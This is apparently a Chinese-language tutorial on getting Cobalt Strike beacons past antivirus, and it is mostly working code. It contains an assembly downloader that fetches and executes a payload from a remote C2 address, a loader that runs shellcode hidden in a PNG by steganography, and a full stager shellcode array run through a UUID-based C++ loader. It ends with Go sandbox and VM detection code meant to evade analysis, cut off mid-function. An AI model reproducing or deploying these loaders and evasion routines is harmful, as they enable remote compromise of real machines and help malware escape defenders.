mov DWORD PTR [Point0_dll], ebx ;上一个函数结束后kernel32的地址在
call Get_Function ;找到GetProcAddress的地址
mov DWORD PTR [Point0],edx ;地址存入Point0
push offset DWORD PTR func3 ;压入混淆后的字符串
call Decode ;解码,正确的字符串会覆盖在原先的位置
push offset DWORD PTR Dll1
call Decode
mov eax,DWORD PTR [Point0_dll] ;kernel32的地址存入eax
push offset DWORD PTR func3 ;压入函数名
push eax ;压入地址
call DWORD PTR [Point0] ;调用GetProcAddress函数
push offset DWORD PTR Dll1 ;上面得到的是LoadLibraryA的地址,这时候eax是指向LoadLibraryA的函数指针,这里push wininet的字符串,下面直接call eax就可以加载wininet.dll
call eax ;call LoadLibraryA
mov DWORD PTR [Point1_dll], eax ;wininet地址存入Point1_dll中
push offset DWORD PTR func4
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func4
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point4], eax
push offset DWORD PTR func5
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func5
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point5], eax
push offset DWORD PTR func6
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func6
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point6], eax
push offset DWORD PTR func7
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func7
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point7], eax
push offset DWORD PTR func1
call Decode
mov eax, DWORD PTR [Point0_dll]
push offset DWORD PTR func1
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point1], eax
push offset DWORD PTR func8
call Decode
mov eax, DWORD PTR [Point1_dll]
push offset DWORD PTR func8
push eax
call DWORD PTR [Point0]
mov DWORD PTR [Point8], eax
;上面都是类似的操作,把字符串压入然后解密,得到的函数指针存入数据段中
push offset DWORD PTR func5_param ;ip地址解密
call Decode
push 0
push 0
push 0
push 1
push offset DWORD PTR func4_param
call DWORD PTR [Point4] ;调用InternetOpenA
push 0
push 0
push 3
push 0
push 0
push 58h ;这里是端口
push offset DWORD PTR func5_param
push eax
call DWORD PTR [Point5] ;InternetConnectA
push 0
push 4000000h
push 0
push 0
push offset DWORD PTR func6_param0
push offset DWORD PTR func6_param1
push offset DWORD PTR func6_param2
push eax
call DWORD PTR [Point6] ;HttpOpenRequestA
mov DWORD PTR [Point2],eax ;将得到的句柄存入Point2中
push 0
push 0
push 0
push 0
push eax
call DWORD PTR [Point7] ;HttpSendRequestA
push 40h
push 1000h
push 400000h
push 0
call DWORD PTR [Point1] ;VirtualAlloc
push offset DWORD PTR Point3
push 400000h
push eax
mov edi,eax ;VirtualAlloc的地址存入edi
mov eax,DWORD PTR [Point2]
push eax
call DWORD PTR [Point8] ;InternetReadFile
push edi ;edi入栈,这时候存的是VirtualAlloc开辟的地址
ret ;跳到VirtualAlloc开辟的地址执行
Getkernel32DLL:
xor ecx,ecx
mov eax,fs:[ecx+30h]
mov eax, [eax+0Ch]
mov esi, [eax+14h]
lodsd
xchg eax, esi
lodsd
mov ebx,[eax+10h]
ret
Get_Function:
mov edx,[ebx+3ch]
add edx,ebx
mov edx, [edx+78h]
add edx, ebx
mov esi, [edx+20h]
add esi, ebx
xor ecx,ecx
getfunc:inc ecx
lodsd
add eax,ebx
cmp DWORD PTR [eax], 50746547h
jnz getfunc
cmp DWORD PTR [eax+4], 41636f72h
jnz getfunc
mov esi, [edx+24h]
add esi, ebx
mov cx, [esi + ecx * 2]
dec ecx
mov esi, [edx+1ch]
add esi, ebx
mov edx, [esi + ecx * 4]
add edx, ebx
ret
Decode:
mov ebx,[esp+4]
call Strlen
x:mov AL, BYTE PTR [ebx + ecx - 1]
inc AL
mov BYTE PTR [ebx + ecx - 1], AL
loop x
ret 4
Strlen:
xor ecx,ecx
mov esi,[esp+8]
s:lodsb
inc ecx
cmp AL,0
jnz s
dec ecx
ret
END _START
通过文章看代码注释
得知func5_param应该是存放ip的变量
通过执行后门找到原文中回连的ip和端口
通过找规律发现30=1,2f=0,2d=.,32=3,33=4,31=2 依次内推
而我们的IP是192.168.3.131
推算出进制为30h,38h,31h,2dh,30h,35h,37h,2dh,32h,2dh,30h,32h,30h,00h
端口:82=52h
将上诉代码进行ip和端口的修改
然后更改我们cs的监听器
通过命令
编译为obj文件:ml /c /coff /Cp 1.asm
生成exe文件:link /subsystem:console /libpath:c:\masm32\lib 1.obj
将生成好的exe双击运行即可上线
图片隐写
参考链接:https://mp.weixin.qq.com/s/c8U2M_iJ8pWaI50sH8u9Hw
隐写就是用PNG格式图片每个像素的四个颜色分量「rgba」的最低有效位来隐藏信息,把文本信息转为比特信息再填入色彩数值的最后一个比特位,所以我们可以通过将shellcode隐写到图片里然后解密进行上线
使用脚本进行隐写操作
"""Encode png image via command-line.
Usage:
imageEncoding (-e|encode) <originImage> [<text>] [<encodedImage>]
imageEncoding (-d|decode) <encodedImage>
Options:
-h,--help 显示帮助菜单
-e 加密
-d 解密
Example:
imageEncoding -e coffee.png hello textOrFileToEncode encodedImage.png
imageEncoding -d encodedImage.png
"""
from PIL import Image
from docopt import docopt
"""
取得一个 PIL 图像并且更改所有值为偶数(使最低有效位为 0)
"""
def RGBAmakeImageEven(image):
pixels = list(image.getdata()) # 得到一个这样的列表: [(r,g,b,t),(r,g,b,t)...]
evenPixels = [(r>>1<<1,g>>1<<1,b>>1<<1,t>>1<<1) for [r,g,b,t] in pixels] # 更改所有值为偶数(魔法般的移位)
evenImage = Image.new(image.mode, image.size) # 创建一个相同大小的图片副本
evenImage.putdata(evenPixels) # 把上面的像素放入到图片副本
return evenImage
def RGBmakeImageEven(image):
pixels = list(image.getdata()) # 得到一个这样的列表: [(r,g,b,t),(r,g,b,t)...]
evenPixels = [(r>>1<<1,g>>1<<1,b>>1<<1) for [r,g,b] in pixels] # 更改所有值为偶数(魔法般的移位)
evenImage = Image.new(image.mode, image.size) # 创建一个相同大小的图片副本
evenImage.putdata(evenPixels) # 把上面的像素放入到图片副本
return evenImage
"""
内置函数 bin() 的替代,返回固定长度的二进制字符串
"""
def constLenBin(int):
binary = "0"*(8-(len(bin(int))-2))+bin(int).replace('0b','') # 去掉 bin() 返回的二进制字符串中的 '0b',并在左边补足 '0' 直到字符串长度为 8
return binary
"""
将字符串编码到图片中
"""
def RGBAencodeDataInImage(image, data):
evenImage = RGBAmakeImageEven(image) # 获得最低有效位为 0 的图片副本
binary = ''.join(map(constLenBin,bytearray(data, 'utf-8'))) # 将需要被隐藏的字符串转换成二进制字符串
if len(binary) > len(image.getdata()) * 4: # 如果不可能编码全部数据, 抛出异常
raise Exception("Error: Can't encode more than " + len(evenImage.getdata()) * 4 + " bits in this image. ")
encodedPixels = [(r+int(binary[index*4+0]),g+int(binary[index*4+1]),b+int(binary[index*4+2]),t+int(binary[index*4+3])) if index*4 < len(binary) else (r,g,b,t) for index,(r,g,b,t) in enumerate(list(evenImage.getdata()))] # 将 binary 中的二进制字符串信息编码进像素里
encodedImage = Image.new(evenImage.mode, evenImage.size) # 创建新图片以存放编码后的像素
encodedImage.putdata(encodedPixels) # 添加编码后的数据
return encodedImage
def RGBencodeDataInImage(image, data):
evenImage = RGBmakeImageEven(image) # 获得最低有效位为 0 的图片副本
binary = ''.join(map(constLenBin,bytearray(data, 'utf-8'))) # 将需要被隐藏的字符串转换成二进制字符串
if len(binary)%3 != 0: # 将转换的比特流数据末位补零,使其长度为3的倍数,防止其在下面重新编码的过程中发生越界
rema = len(binary)%3
binary = binary+('0'*(3-rema))
# print(len(binary))
if len(binary) > len(image.getdata()) * 3: # 如果不可能编码全部数据, 抛出异常
raise Exception("Error: Can't encode more than " + len(evenImage.getdata()) * 3 + " bits in this image. ")
# evenImageList = list(evenImage.getdata())
# for index in range(len(evenImageList)):
# if index*3 < len(binary):
# tup = evenImageList[index]
# r = tup[0]
# g = tup[1]
# b = tup[2]
# r += int(binary[index*3+0])
# evenImageList[index] = (r,g,b)
# else:
# break
# if index*3+1 < len(binary):
# tup = evenImageList[index]
# r = tup[0]
# g = tup[1]
# b = tup[2]
# g += int(binary[index*3+1])
# evenImageList[index] = (r,g,b)
# else:
# break
# if index*3+2 < len(binary):
# tup = evenImageList[index]
# r = tup[0]
# g = tup[1]
# b = tup[2]
# b += int(binary[index*3+2])
# evenImageList[index] = (r,g,b)
# else:
# break
# index += 1
# encodedPixels = evenImageList
encodedPixels = [(r+int(binary[index*3+0]),g+int(binary[index*3+1]),b+int(binary[index*3+2])) if index*3 < len(binary) else (r,g,b) for index, (r,g,b) in enumerate(list(evenImage.getdata()))] # 将 binary 中的二进制字符串信息编码进像素里
encodedImage = Image.new(evenImage.mode, evenImage.size) # 创建新图片以存放编码后的像素
encodedImage.putdata(encodedPixels) # 添加编码后的数据
return encodedImage
"""
从二进制字符串转为 UTF-8 字符串
"""
def binaryToString(binary):
index = 0
string = []
rec = lambda x, i: x[2:8] + (rec(x[8:], i-1) if i > 1 else '') if x else ''
# rec = lambda x, i: x and (x[2:8] + (i > 1 and rec(x[8:], i-1) or '')) or ''
fun = lambda x, i: x[i+1:8] + rec(x[8:], i-1)
while index + 1 < len(binary):
chartype = binary[index:].index('0') # 存放字符所占字节数,一个字节的字符会存为 0
length = chartype*8 if chartype else 8
string.append(chr(int(fun(binary[index:index+length],chartype),2)))
index += length
return ''.join(string)
"""
解码隐藏数据
"""
def RGBAdecodeImage(image):
pixels = list(image.getdata()) # 获得像素列表
binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b))+str(int(t>>1<<1!=t)) for (r,g,b,t) in pixels]) # 提取图片中所有最低有效位中的数据
# 找到数据截止处的索引
locationDoubleNull = binary.find('0000000000000000')
endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
data = binaryToString(binary[0:endIndex])
return data
def RGBdecodeImage(image):
pixels = list(image.getdata()) # 获得像素列表
binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b)) for (r,g,b) in pixels]) # 提取图片中所有最低有效位中的数据
# 找到数据截止处的索引
locationDoubleNull = binary.find('0000000000000000')
endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
data = binaryToString(binary[0:endIndex])
return data
def isTextFile(path):
if path.endswith(".txt"):
return True
elif path.endswith(".m"):
return True
elif path.endswith(".h"):
return True
elif path.endswith(".c"):
return True
elif path.endswith(".py"):
return True
else:
return False
if __name__ == '__main__':
"""command-line interface"""
arguments = docopt(__doc__)
# print(arguments)
if arguments['-e'] or arguments['encode']:
if arguments['<text>'] is None:
arguments['<text>'] = "待加密的文本"
if arguments['<encodedImage>'] is None:
arguments['<encodedImage>'] = "encodedImage.png"
if isTextFile(arguments['<text>']):
with open(arguments['<text>'], 'rt') as f:
arguments['<text>'] = f.read()
print("载体图片:")
print(arguments['<originImage>']+"\n")
print("待加密密文:")
print(arguments['<text>']+"\n")
print("加密后图片:")
print(arguments['<encodedImage>']+"\n")
print("加密中……\n")
im = Image.open(arguments['<originImage>'])
if im.mode == 'RGBA':
RGBAencodeDataInImage(im, arguments['<text>']).save(arguments['<encodedImage>'])
# elif im.mode == 'RGB':
# RGBencodeDataInImage(im, arguments['<text>']).save(arguments['<encodedImage>'])
else:
print("暂不支持此图片格式……")
print("加密完成,密文为:\n"+arguments['<text>']+"\n")
elif arguments['-d'] or arguments['decode']:
print("解密中……\n")
im = Image.open(arguments['<encodedImage>'])
if im.mode == 'RGBA':
print("解秘完成,密文为:\n"+RGBAdecodeImage(im)+"\n")
# elif im.mode == 'RGB':
# print("解秘完成,密文为:\n"+RGBdecodeImage(im)+"\n")
else:
print("非法的图片格式……")
找一张png的图片
python3 image-1.py -e upload.png abcd encodedImage.png
将abcd字符写入upload.png中然后生成encodedImage.png
使用
python3 iage-1.py -d encodedImage.png
进行解密
将加密脚本进行修改
encodedImage.png#!/usr/bin/env python3
#coding=utf-8
"""Encode png image via command-line.
Usage:
imageEncoding (-e|encode) <originImage> [<text>] [<encodedImage>]
imageEncoding (-d|decode) <encodedImage>
Options:
-h,--help 显示帮助菜单
-e 加密
-d 解密
Example:
imageEncoding -e coffee.png hello textOrFileToEncode encodedImage.png
imageEncoding -d encodedImage.png
"""
from PIL import Image
from docopt import docopt
import base64,ctypes
"""
内置函数 bin() 的替代,返回固定长度的二进制字符串
"""
def constLenBin(int):
binary = "0"*(8-(len(bin(int))-2))+bin(int).replace('0b','') # 去掉 bin() 返回的二进制字符串中的 '0b',并在左边补足 '0' 直到字符串长度为 8
return binary
"""
将字符串编码到图片中
"""
"""
从二进制字符串转为 UTF-8 字符串
"""
def binaryToString(binary):
index = 0
string = []
rec = lambda x, i: x[2:8] + (rec(x[8:], i-1) if i > 1 else '') if x else ''
# rec = lambda x, i: x and (x[2:8] + (i > 1 and rec(x[8:], i-1) or '')) or ''
fun = lambda x, i: x[i+1:8] + rec(x[8:], i-1)
while index + 1 < len(binary):
chartype = binary[index:].index('0') # 存放字符所占字节数,一个字节的字符会存为 0
length = chartype*8 if chartype else 8
string.append(chr(int(fun(binary[index:index+length],chartype),2)))
index += length
return ''.join(string)
"""
解码隐藏数据
"""
def RGBAdecodeImage(image):
pixels = list(image.getdata()) # 获得像素列表
binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b))+str(int(t>>1<<1!=t)) for (r,g,b,t) in pixels]) # 提取图片中所有最低有效位中的数据
# 找到数据截止处的索引
locationDoubleNull = binary.find('0000000000000000')
endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
data = binaryToString(binary[0:endIndex])
return data
def RGBdecodeImage(image):
pixels = list(image.getdata()) # 获得像素列表
binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b)) for (r,g,b) in pixels]) # 提取图片中所有最低有效位中的数据
# 找到数据截止处的索引
locationDoubleNull = binary.find('0000000000000000')
endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
data = binaryToString(binary[0:endIndex])
return data
def isTextFile(path):
if path.endswith(".txt"):
return True
elif path.endswith(".m"):
return True
elif path.endswith(".h"):
return True
elif path.endswith(".c"):
return True
elif path.endswith(".py"):
return True
else:
return False
if __name__ == '__main__':
"""command-line interface"""
#arguments = docopt(__doc__)
im = Image.open('encodedImage.png')
print("解秘完成,密文为:\n"+RGBAdecodeImage(im)+"\n")
func=base64.b64decode(RGBAdecodeImage(im))
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(func), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(func), len(func))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
可以看到最后几行将encodedImage.png解密出来base64解密然后带入shellcode加载器中执行
我们将shellcode进行一个base64加密
最后可以将shellcodebase64加密后的代码隐写到图片里,然后用第二个脚本进行上线,由于我的环境问题,后面没有复现成功
内存加载UUID
UUID:
通用唯一标识符 ( Universally Unique Identifier ), 对于所有的UUID它可以保证在空间和时间上的唯一性. 它是通过MAC地址, 时间戳, 命名空间, 随机数, 伪随机数来保证生成ID的唯一性, 有着固定的大小( 128 bit ). 它的唯一性和一致性特点使得可以无需注册过程就能够产生一个新的UUID. UUID可以被用作多种用途, 既可以用来短时间内标记一个对象, 也可以可靠的辨别网络中的持久性对象,所以我们将shellcode转换为uuid用win自身的一些api来加载
用c++加载shellcode进行上线
首先利用py脚本将shellcode生成为uuid
import uuid
import binascii
buf = b"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x91\x1f\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x45\x75\x34\x6e\x00\xb1\x21\x2a\xd5\x17\x08\xcd\x71\x16\x56\x30\x9f\xde\x6f\xb8\x58\xe8\x89\xb2\x45\xdc\xf2\x4e\xd0\x6c\xfc\xa9\xb4\x56\x20\x6d\x31\x67\xbd\xbe\x26\x65\x84\x5f\xb4\xd3\x2f\x65\x90\xdd\x89\x85\x36\xf3\x26\xc1\xdf\x8d\x0b\x4e\x3a\x9c\x24\xe0\xef\x57\x7c\x26\x59\xd0\x45\x6f\x98\xab\xda\x79\x1e\x58\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x49\x4e\x29\x0d\x0a\x00\x5d\xe7\x84\x44\x01\x7c\x29\xa5\xc7\xcc\x7f\x1b\x2a\x1b\xbd\xc0\xe1\x51\xea\x2e\xcd\x33\x76\x2e\x32\x03\xfb\x6e\x50\xa8\x8a\xc4\x88\xd4\xd7\x55\x64\xb2\x91\x78\x77\x64\x9a\xde\xd8\x0e\xdb\x32\xd1\xe2\x4b\xc8\x15\x0b\x4c\x33\xef\x68\x65\x84\xa3\x16\x06\x73\x9d\xbd\xf5\xaf\x98\x66\xf3\x62\x26\x50\xcd\x99\x56\xd6\xe6\xb8\xb5\x03\x85\x8b\x1e\xe2\x08\xdf\x35\x2c\xb5\xce\xa3\x77\xca\x64\x3b\x7a\xe4\x5a\xc2\x2c\x5d\x29\x92\x06\x13\xed\xd4\x19\x55\x6e\x49\x15\x35\x71\xf9\x3d\x58\x97\xb8\x0d\x8d\x0f\xb1\x8e\x9e\xf9\xe8\x55\x19\x15\x69\x49\xf8\xab\x43\x1c\x2d\x18\x3b\x45\xcb\xbe\xec\xc6\xd4\xe9\x67\x77\x2a\x29\xc7\xc4\x47\x1c\x2a\x48\x2e\xb9\x90\xf5\x8f\x94\x7f\xc1\x4a\x76\x2b\x6c\x69\x02\x69\x88\xe6\x80\x2e\x59\x8e\xcf\x4e\xc4\x1f\xd2\xfd\xed\x3f\x57\xa0\x03\x52\x7e\xa3\x58\x61\x0f\x63\xa2\xec\xfb\xf7\x8d\x70\x70\xf4\xbf\x8e\x19\x10\x1b\xa7\xd1\xc9\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x33\x2e\x31\x33\x31\x00\x12\x34\x56\x78"
hex = binascii.hexlify(buf).decode()
hex += '0' * (32 - (len(hex) % 32))
for i in range(0,len(hex),32):
print("\"{}\",".format(uuid.UUID(bytes_le=binascii.unhexlify(hex[i:i+32]))))
生成的uuid
再用c++脚本执行uuid
#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
const char* uuids[] =
{
"0089e8fc-0000-8960-e531-d2648b52308b",
"528b0c52-8b14-2872-0fb7-4a2631ff31c0",
"7c613cac-2c02-c120-cf0d-01c7e2f05257",
"8b10528b-3c42-d001-8b40-7885c0744a01",
"488b50d0-8b18-2058-01d3-e33c498b348b",
"ff31d601-c031-c1ac-cf0d-01c738e075f4",
"3bf87d03-247d-e275-588b-582401d3668b",
"588b4b0c-011c-8bd3-048b-01d089442424",
"59615b5b-515a-e0ff-585f-5a8b12eb865d",
"74656e68-6800-6977-6e69-54684c772607",
"ff31d5ff-5757-5757-5768-3a5679a7ffd5",
"000084e9-5b00-c931-5151-6a0351516891",
"5300001f-6850-8957-9fc6-ffd5eb705b31",
"006852d2-4002-5284-5252-53525068eb55",
"d5ff3b2e-c689-c383-5031-ff57576aff53",
"062d6856-7b18-d5ff-85c0-0f84c3010000",
"f685ff31-0474-f989-eb09-68aac5e25dff",
"68c189d5-2145-315e-ffd5-31ff576a0751",
"b7685056-e057-ff0b-d5bf-002f000039c7",
"ff31b774-91e9-0001-00e9-c9010000e88b",
"2fffffff-7545-6e34-00b1-212ad51708cd",
"30561671-de9f-b86f-58e8-89b245dcf24e",
"a9fc6cd0-56b4-6d20-3167-bdbe2665845f",
"652fd3b4-dd90-8589-36f3-26c1df8d0b4e",
"e0249c3a-57ef-267c-59d0-456f98abda79",
"5500581e-6573-2d72-4167-656e743a204d",
"6c697a6f-616c-352f-2e30-2028636f6d70",
"62697461-656c-203b-4d53-494520392e30",
"6957203b-646e-776f-7320-4e5420362e31",
"7254203b-6469-6e65-742f-352e303b2042",
"3945494f-453b-494e-4e29-0d0a005de784",
"297c0144-c7a5-7fcc-1b2a-1bbdc0e151ea",
"7633cd2e-322e-fb03-6e50-a88ac488d4d7",
"91b26455-7778-9a64-ded8-0edb32d1e24b",
"4c0b15c8-ef33-6568-84a3-1606739dbdf5",
"f36698af-2662-cd50-9956-d6e6b8b50385",
"08e21e8b-35df-b52c-cea3-77ca643b7ae4",
"5d2cc25a-9229-1306-edd4-19556e491535",
"583df971-b897-8d0d-0fb1-8e9ef9e85519",
"f8496915-43ab-2d1c-183b-45cbbeecc6d4",
"2a7767e9-c729-47c4-1c2a-482eb990f58f",
"4ac17f94-2b76-696c-0269-88e6802e598e",
"1fc44ecf-fdd2-3fed-57a0-03527ea35861",
"eca2630f-f7fb-708d-70f4-bf8e19101ba7",
"6800c9d1-b5f0-56a2-ffd5-6a4068001000",
"00006800-0040-6857-58a4-53e5ffd593b9",
"00000000-d901-5351-89e7-576800200000",
"12685653-8996-ffe2-d585-c074c68b0701",
"75c085c3-58e5-e8c3-a9fd-ffff3139322e",
"2e383631-2e33-3331-3100-123456780000",
};
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAlloc(hc, 0, 0x100000);
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);
for (int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
if (status != RPC_S_OK) {
CloseHandle(ha);
return -1;
}
hptr += 16;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
CloseHandle(ha);
return 0;
}
uuids[]里写入刚刚生成的uuid,然后运行调试。
成功上线
反VT-沙盒检测
相关链接:https://mp.weixin.qq.com/s/mC0XhNSwdhhISwcBFXe0uQ
近年来,各类恶意软件层出不穷,反病毒软件也更新了各种检测方案以提高检测率。
其中比较有效的方案是动态沙箱检测技术,即通过在沙箱中运行程序并观察程序行为来
判断程序是否为恶意程序。为了逃避沙箱/安全人员的检测,恶意软件使用了各类识别沙
箱/虚拟机的技术,用于判断自身程序是否运行在沙箱/虚拟机中。
硬件检测
通过检测真实硬件状态,例如硬盘大小,内存大小判断是否为虚拟机
检测开机时间
许多沙箱检测完毕后会重置系统,我们可以检测开机时间来判断是否为真实的运行状况。
命令检测
在虚拟机中执行
在真实机中执行
文件检测
查找是否存在虚拟机文件
这些文件在虚拟机中是存在的,而在真实机中没有
go语言完整检测代码
package main
import (
"encoding/hex"
"golang.org/x/sys/windows"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"syscall"
"time"
"unsafe"
)
// 检测语言,依赖windows数据包,编译后会增加0.6M大小
func check_language() {
a, _ := windows.GetUserPreferredUILanguages(windows.MUI_LANGUAGE_NAME) //获取当前系统首选语言
if a[0] != "zh-CN" {
os.Exit(1)
}
}
func check_sandbox() {
// 1. 延时运行
timeSleep1, _ := timeSleep()
// 2. 检测开机时间
bootTime1, _ := bootTime()
// 3. 检测物理内存
physicalMemory1, _ := physicalMemory()
// 4. 检测CPU核心数
numberOfCPU1, _ := numberOfCPU()
// 5. 检测临时文件数
numberOfTempFiles1, _ := numberOfTempFiles()
level := timeSleep1 + bootTime1 + physicalMemory1 + numberOfCPU1 + numberOfTempFiles1 // 有五个等级,等级越趋向于5,越像真机
//fmt.Println("level:", level)
if level < 4 {
os.Exit(1)
}
}
// 1. 延时运行
func timeSleep() (int, error) {
startTime := time.Now()
time.Sleep(5 * time.Second)
endTime := time.Now()
sleepTime := endTime.Sub(startTime)
if sleepTime >= time.Duration(5*time.Second) {
//fmt.Println("睡眠时间为:", sleepTime)
return 1, nil
} else {
return 0, nil
}
}
// 2. 检测开机时间
// 许多沙箱检测完毕后会重置系统,我们可以检测开机时间来判断是否为真实的运行状况。
func bootTime() (int, error) {
var kernel = syscall.NewLazyDLL("Kernel32.dll")
GetTickCount := kernel.NewProc("GetTickCount")
r, _, _ := GetTickCount.Call()
if r == 0 {
return 0, nil
}
ms := time.Duration(r * 1000 * 1000)
tm := time.Duration(30 * time.Minute)
//fmt.Println(ms,tm)
if ms < tm {
return 0, nil
} else {
return 1, nil
}
}
// 3、物理内存大小
func physicalMemory() (int, error) {
var mod = syscall.NewLazyDLL("kernel32.dll")
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
var mem uint64
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576
//fmt.Printf("物理内存为%dG\n", mem)
if mem < 4 {
return 0, nil // 小于4GB返回0
}
return 1, nil // 大于4GB返回1
}
func numberOfCPU() (int, error) {
a := runtime.NumCPU()
//fmt.Println("CPU核心数为:", a)
if a < 4 {
return 0, nil // 小于4核心数,返回0
} else {
return 1, nil // 大于4核心数,返回1
}
}
func numberOfTempFiles() (int, error) {
conn := os.Getenv("temp") // 通过环境变量读取temp文件夹路径
var k int
if conn == "" {
//fmt.Println("未找到temp文件夹,或temp文件夹不存在")
return 0, nil
} else {
local_dir := conn
err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error {
if fi.IsDir() {
return nil
}
k++
// fmt.Println("filename:", filename) // 输出文件名字
return nil
})
//fmt.Println("Temp总共文件数量:", k)
if err != nil {
// fmt.Println("路径获取错误")
return 0, nil
}
}
if k < 30 {
return 0, nil
}
return 1, nil
}
func check_virtual() (bool, error) { // 识别虚拟机
model := ""
var cmd *exec.Cmd
cmd = exec.Command("cmd", "/C", "wmic path Win32_ComputerSystem get Model")
stdout, err := cmd.Output()
if err != nil {
return false, err
}
model = strings.ToLower(string(stdout))
if strings.Contains(model, "VirtualBox") || strings.Contains(model, "virtual") || strings.Contains(model, "VMware") ||
strings.Contains(model, "KVM") || strings.Contains(model, "Bochs") || strings.Contains(model, "HVM domU") || strings.Contains(model, "Parallels") {
return true, nil //如果是虚拟机则返回true
}
return false, nil
}
func PathExists(path string) (bool, error) {
_, err := os.Stat(path)
if err == nil {
return true, nil
}
if os.IsNotExist(err) {
return false, nil
}
return false, err
}
func fack(path string) {
b, _ := PathExists(path)
if b {
os.Exit(1)
}
}
func check_file() {
fack("C:\\windows\\System32\\Drivers\\Vmmouse.sys")
fack("C:\\windows\\System32\\Drivers\\vmtray.dll")
fack("C:\\windows\\System32\\Drivers\\VMToolsHook.dll")
fack("C:\\windows\\System32\\Drivers\\vmmousever.dll")
